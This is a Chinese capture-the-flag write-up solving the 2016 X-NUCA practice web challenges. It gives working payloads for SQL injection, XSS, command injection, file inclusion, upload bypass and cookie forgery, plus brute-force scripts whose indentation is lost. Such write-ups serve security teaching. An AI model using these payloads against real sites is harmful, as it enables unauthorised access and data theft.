2016年X-NUCA全国高校网安联赛--赛前指导练习题web进阶篇Writeup

点击阅读全文

0x00 前言

第一次写Writeup,尝试一下吧!

0x01 正文

捉迷藏

题目

捉迷藏
描述:从页面中找到隐藏的flag
题目链接

解题思路


F12审查元素发现有一个Index.php的链接,把背景去掉。点击链接得到flag

Flag

flag{th!5!5n0tth3fl@g}

简单问答

题目

简单问答
描述:这几个小问题实在是太简单了,相信你一定能获得满分
题目链接

解题思路

审查元素将按钮键的disabled改为abled。
利用burpsuite抓取数据包,修改参数提交得到flag

Flag

flag{W3ll_d0n3}

后台后台后台

题目

后台后台后台
描述:登录这个网站很容易,请进入后台寻找flag
题目链接

解题思路

利用burpsuite抓取数据包,把cookie中的Member参数修改为Admin的base64的编码,得到flag.

Flag

flag{C00ki3_n0m_n0m_n0m}

php是最好的语言

题目

php是最好的语言
描述:据说php是最好的语言,perfect?来试试看
题目链接

解题思路

payload如下:

1
http://218.76.35.75:20114/?foo={"bar1":"2017f","bar2":[[1,1],1,1,1,1]}&cat[0]=123&cat[1][]=1&dog=%00htctf2016

Flag

flag{php_i5_n0t_b4d}

忘记密码了

题目

忘记密码了
描述:在这个网站,记录了小伙伴们的密码。 可是slash的密码怎么也找不到了,你能帮忙找出来么
题目链接

解题思路

把bob和sam的MD5解出来分别是bob317和sam429,利用脚本爆破密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import hashlib
r=requests.session()
url="http://218.76.35.75:20115/index.php"
for i in xrange(1000):
header={"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"}
param=hashlib.md5("slash"+str(i)).hexdigest()
tmpurl=url+"?page="+param
print tmpurl
result=r.get(tmpurl,headers=header)
content=result.content
if 'flag' in content or 'Flag' in content or 'FLAG' in content:
print content
print i
break

得到结果

Flag

flag{n1ce_te4m_n1ce_Rock}

php是最好的语言

题目

http 头注入
描述:换个浏览器试试?

题目链接

解题思路

抓包得到数据包,Referer处加*号。sqlmap -r xx.txt。得到flag

1
2
3
4
5
6
7
8
9
10
GET /heetian.php HTTP/1.1
Host: 218.76.35.75:20121
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.google.com/search?hl=en&q=*
Cookie: PHPSESSID=gr7gtgjm8v0q5a9j3ampntgmp0; User=JohnTan101; Member=Tm9ybWFs
Connection: close
Upgrade-Insecure-Requests: 1

Flag

flag{Y0ugetT82f00000laev}

简单的文件上传

题目

简单的文件上传
描述:上传php 文件就给你flag
题目链接

解题思路

上传一个php文件,抓包将Content-Type改为 image/jpeg上传,得到flag.

Flag

flag{Upl00d30668ss9h97aFil3}

简单的JS

题目

简单的JS
描述:执行后的结果就是flag 的url
题目链接

解题思路

打开解题链接

还有一个明显提示 evilurl is flag

看不出什么其他的,直接查看源码

在这里可以看到定义一个p,eval以后写到页面,但是好像并没有输出什么,猜测可能这里没有执行成功,JS 问题可以直接查看控制台

可以看到报语法错误,

我们把这个语句copy下来,自己调试好

没修改之前,明显的有报错

我们把它第二行的空格和第一行的换行符删掉,然后执行eval,看下P 到底是什么

题目提示执行后的结果就是flag的url

访问这个url试试

页面没有输出什么,再抓包看看

可以看到flag已经写在cookie里了。

Flag

flag{COOk1els60SecU5e}

试试xss

题目

描述:alert document.domain

题目链接

解题思路

打开就一个输入框,输入字母啥的没啥反应。。。。

被谁吃了。。。

既然提示xss,就试试特殊符号吧,比如“<>”

加个’的时候,多了一个img标签,什么鬼。。。。。

当我输入’aaaaaaaaaaaa的时候。。。。

aaaaaaaaaaaa居然直接成了img的一个属性名,可怕。。。。

这样就简单了,瞬间就想到onerror,既然hint 是alertdocument.domain,那就用这个吧

直接’ onerror=alert(document.domain)这样不就可以了,试试先。。。

居然没弹出来。。。。

为什么!!!!!

查看下源码。。。

至少知道了我们输入的内容并没有被实体编码。。。

但是onerror事件没有发生,就说明img标签的src并没有出错。。。

再看看刚才我们输入的内容

onerror=alert(document.domain)

如果在’前面加一个不存在的路径,那后面的onerror事件不就可以出发了么。。。

试试再说。。。。

输入heetian.jpg’ onerror=alert(document.domain)

终于出来了。。。

Flag

flag{D0Gum6Ntd0M11n}

简单的文件包含

题目

简单的文件包含
描述:Flag 在/flag
题目链接

解题思路

打开解题链接,可以看到4个超链接,然后就没有然后了。。。

一个一个访问看看。。。。

考过3级(没考过)的渣渣表示看不懂

其他链接也是如此,就只有一句英文的名言(看起来似乎是名言… 我也不知道是不是,知道的告诉我下…,先谢谢了…)。。。。

抓包也没看到什么可疑的东西

再看看题目提示吧,没准就有就用。。。

标题是文件包含,也说了flag的位置。。。

再回来看看前面的4个超链接

这种url形式的,看起来有点像是文件包含,直接修改page值为/flag 看看

居然不在这里。。。提示又说在/flag ,可以试试多加几个../../../../../试试~~~~

不过在这之前还是先查看源码和响应包吧….

有注释。。。

访问这个页面。。。得到flag。

Flag

flag{F11elNcLud3Get}

简单的验证

题目

简单的验证
描述:你不是amdin,没有权限查看flag
题目链接

解题思路

和题目5差不多,把cookie里面user改成admin之后,爆破guess值,最后是573

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
r=requests.session()
url="http://218.76.35.75:20127/index.php"
for i in xrange(1000,0,-1):
header={"Cookie":"user=admin;guess="+str(i)}
print header
result=r.get(url,headers=header)
content=result.content
if 'flag' in content or 'Flag' in content or 'FLAG' in content:
print content
print i
break

运行结果

Flag

flag{EaSy70Ch1ngG00kie}

注入那么简单

题目

注入那么简单
描述:注入、猜表、拿分,就是这么简单
题目链接

解题思路

题目要求是注入,可输入的参数为name

首先尝试name=guest 存在返回。

再次尝试name=guest’or’1’=’1,返回3列,说明没有做过多的过滤,这里,我们尝试用order by 来获得列。

Name=guest’order by 1 %23 有返回,依次递增数字到4时报错,说明有3列。

题目提示,说要猜表,构造如下语句,来获得flag

http://218.76.35.75:20101/?name=guest%27union%20select%201,flag,3%20from%20flag%23

Flag

flag{thisisforunionsqlinjection}

你能进来么

题目

你能进来么
描述:图片上传功能真的好强大
题目链接

解题思路

上传一个图片马直接拿到flag

Flag

flag{uploadwithinclude}

好简单的题目

题目

好简单的题目
描述:我要dir溢出你,信不信
题目链接

解题思路

这个题目,原本就是一个不可能的命题,谁都不可能dir命令能溢出服务器,猜测出题者考察命令执行,并且,页面上也为目标Ip的输入,我们输入127.0.0.1 返回Ping的结果

猜测,目标IP后面可以加上连接符,执行多条语句。

这里有个小小的障碍,linux下的连接符有多个。如&&,||,;,| 我们需要都测试后面命令为简单的ls 即可

127.0.0.1111|ls

可以看到有md5字符串返回。猜测为文件夹。
http://218.76.35.75:20105/3f83e03a1e4e65573ef11cca25048808/
访问即可获得flag

Flag

flag{dirpwnitdoyouknow}

没那么简单

题目

没那么简单
(50位解决者)
描述:我认为这是一个sql注入,你发现了吗
题目链接

解题思路

发现存在robots.txt 文件

访问该地址。得到upload.zip

Upload.zip为index.php

查看Index.php后。

发现对大多数的字符进行了过滤。该过滤方式为黑名单判断,我们只需要找到程序中,为过滤完全的字符,进行payload编写即可。

查找wooyun或者其他地方的资料库,可以知道.%0a 同样可以用来做空格的代替。

那么我们只需要构造如下参数提交

username=admind’%a0union%a0select%a0’4124bc0a9335c27f086f24ba207a4912’%a0from%a0admin%a0where%a0’1’=’1&password=aa
即可得到flag

Flag

flag{robotsfilehassomehappything}

有趣的注入

题目

有趣的注入
描述:在渗透测试中,任何细节都不能错过。sql注入是渗透测试中最常使用的攻击技术。这里有一个简单的网站,请帮忙找到flag。
题目链接

解题思路

1.文件包含(需要开一下脑洞,猜一猜文件名)

根据提示,可以得到一个目录:

http://218.76.35.75:20116/flagishere/
2.访问这个目录,是一个登录界面,这道题目考的是注入,只不过考点是sql注入的绕过。后端代码中检测了并且拦截了各种sql的关键字。

但是,可以使用“||”来代替关键词 OR

用户名和密码输入admin’||’1’=’1即可绕过检测登录,获得flag

Flag

flag{s0_e4sysq1i:)}

0x03 总结

这次CTF的Writeup,有的解题思路是题目给出的,一部分是自己的想法。自己的水平还是有些不够吧!这里只写了一些题目的Writeup,有的题目的链接已经失效了。
有的题目是真的不知道做,思路也看不大懂。就这样吧,后面如果可以的话,再更新吧!